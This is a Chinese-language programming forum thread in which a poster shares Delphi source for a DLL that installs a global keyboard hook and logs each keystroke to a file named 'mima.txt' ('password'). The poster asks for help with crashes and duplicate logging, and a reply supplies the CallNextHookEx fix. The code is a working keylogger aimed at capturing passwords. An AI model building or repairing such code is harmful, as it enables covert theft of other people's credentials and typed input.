小弟这几天作了一个小小的捕捉键盘输入的钩子函数,做了一人DLL(DLL代码如下)供主程序调用。但出现了点问题:就是把主程序最小化的时,只要按任一个键都出现错误,说是DLL发生的错误,但是把它作为当前程序输入时又正常工作,这是为什么呢???
还有一个问题:下面的钩子函数按一次键它就记录两次,怎样才能使它只记录一次呢??请高手指点!在此谢谢了!!祝大家新年快乐!!!library ghost;
uses
SysUtils,windows,
Classes;
var
hook:integer;
{$R *.res}
function recorded(icode:integer;wparam:wparam;lparam:lparam):LRESULT;stdcall;
var
ftext:textfile;
begin
try
AssignFile(ftext, 'mima.txt');
Append(ftext);
Write(ftext,chr(wparam));
finally
CloseFile(ftext);
result:=0;
end;
end;
procedure starthook;stdcall; //调用钩子函数
begin
hook:=setwindowshookex(WH_KEyboard,recorded,GetModuleHandle('ghost.dll'),0);
end;
procedure endhook;stdcall; //释放钩子函数
begin
unhookwindowshookex(hook);
end;
exports
starthook,endhook;
begin
end.
还有一个问题:下面的钩子函数按一次键它就记录两次,怎样才能使它只记录一次呢??请高手指点!在此谢谢了!!祝大家新年快乐!!!library ghost;
uses
SysUtils,windows,
Classes;
var
hook:integer;
{$R *.res}
function recorded(icode:integer;wparam:wparam;lparam:lparam):LRESULT;stdcall;
var
ftext:textfile;
begin
try
AssignFile(ftext, 'mima.txt');
Append(ftext);
Write(ftext,chr(wparam));
finally
CloseFile(ftext);
result:=0;
end;
end;
procedure starthook;stdcall; //调用钩子函数
begin
hook:=setwindowshookex(WH_KEyboard,recorded,GetModuleHandle('ghost.dll'),0);
end;
procedure endhook;stdcall; //释放钩子函数
begin
unhookwindowshookex(hook);
end;
exports
starthook,endhook;
begin
end.
解决方案 »
- 请问如何利用tnmftp控件删除服务器上非空目录?
- 请大家谈谈如何让软件界面漂漂亮亮的,标题栏菜单栏等都可以自定义?
- 高分求问:我编写的一个OCX文件在自己机上注册运行了都可以通过,我放到客户端去,客户端也自动注册了,但就是不能显示出来,烦
- 一个简单问题,有高分!在线等待!
- TQuickRep的打印页面设置函数是什么,就象在设计时双击他弹出的那个对话框
- IDE环境求救
- 如何作出像IE上邮件一样有下拉菜单的按钮,工具条?
- 大家帮个忙---关于2000下打印的问题
- 哪里可下载透明的ListView控件?
- 谁能发一个好的TREEVIEW控件给我,我给他20分。[email protected]
- 如何判断字段的状态
- 怎么知道我的程序在任务栏中的位置,一定加分,谢谢!
AssignFile(ftext, 'mima.txt');
Append(ftext);
Write(ftext,chr(wparam));
finally
CloseFile(ftext);
// result:=0;
这里改成:
result:=CallNextHookEx(Hook, iCode, wParam, lParam);
end;
end;健盘有按下和放开两个事件的!
http://www.efile.com.cn/?liumazi